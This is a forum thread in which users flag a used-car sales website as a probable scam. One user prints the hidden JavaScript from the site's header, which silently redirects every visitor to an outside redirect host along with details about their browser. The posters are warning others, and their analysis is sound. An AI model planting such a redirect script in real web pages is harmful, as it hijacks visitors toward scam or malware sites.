Interesting business model!

[Revisitph]

matthews-motor.com/
Remarkably cheap cars, 93 point inspection, anything which needed doing sorted before sale, free 10000 mile warranty and extended warranties, even on 10yr old cars, available "from the manufacturer"... you can't see the car before buying but they'll deliver it free and if you don't want it, take it away again free and "FULLY refund" you. If I had the time I'd get in contact, explore why the cars are photographed here there and everywhere, not at their "state of the art preparation centre" whether I can visit and view or even test drive one and see what happens (up to the point of actually parting with any cash)...

Mod note: I've broken the link so it isn't easy to click as it looks dodgy to me.

Edited by Bill on Saturday 5th December 07:44

[TheEnd]

That's some sort of scam/redirect malware.

edit- curious...

I might have a browser hijack!

Edited by TheEnd on Saturday 5th December 01:13

[zarjaz1991]

No it redirects elsewhere for me too. I tried it on a sandboxed machine.
Different website every time it appears.

[TheEnd]

OK, it's strange, if I open it in an incognito window, it's fine, same with copy and pasting the address, but I can't see where the re-direct is coming from.

[zarjaz1991]

This piece of Javascript up in the header:

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<script type="text/javascript">
setTimeout(function () {
var pageWidth = window.innerWidth ? window.innerWidth : (document.documentElement && document.documentElement.clientWidth ? document.documentElement.clientWidth : document.getElementsByTagName('body')[0].clientWidth);
var pageHeight = window.innerHeight ? window.innerHeight : (document.documentElement && document.documentElement.clientHeight ? document.documentElement.clientHeight : document.getElementsByTagName('body')[0].clientHeight);
var iframeDetected = window.self !== window.top;
window.location="http://za1.zeroredirect2.com/zcredirect?visitid=55b6de92-9aee-11e5-840b-0aa98d67ee69&type=js&browserWidth=" + pageWidth +"&browserHeight=" + pageHeight +"&iframeDetected=" + iframeDetected;
}, 1);
</script>

---

Either the site owner has put it there maliciously, or more likely they've been hacked.

Edited by zarjaz1991 on Saturday 5th December 01:25

[Chrisgr31]

Revisitph said:

Remarkably cheap cars, 93 point inspection, anything which needed doing sorted before sale, free 10000 mile warranty and extended warranties, even on 10yr old cars, available "from the manufacturer"... you can't see the car before buying but they'll deliver it free and if you don't want it, take it away again free and "FULLY refund" you. If I had the time I'd get in contact, explore why the cars are photographed here there and everywhere, not at their "state of the art preparation centre" whether I can visit and view or even test drive one and see what happens (up to the point of actually parting with any cash)...

Back in the 2000's there was a similar site called jamjar owned by RBS, you bought the 2nd car through them, they sourced it, took it to a centre in Thorne to be PDI'd and have any works, it was then delivered to you. You could reject it and they would come and collect it. It didn't end well for RBS!

Edited by Chrisgr31 on Saturday 5th December 22:49

[Revisitph]

Ooops - sorry did't know the link was dodgy - it always went to that (well-crafted, albeit with lots of things that don't add up, exceedingly scam-looking) site for me with no redirects.

I've got an antivirus with default privacy / blocking set up so perhaps it prevented redirects.

Presumably you send your money, or a deposit/reservation fee if you're worried about sending the whole amount for a half-priced car with fantastic warranty etc and then you wait for 5 business days, or perhaps many more for it to turn up on 3 day approval.

ETA - the old link seems to have resurfaced in the post immediately above... perhaps wise not to click on it if you've not got full-on antivirus.

Edited by Revisitph on Saturday 5th December 09:55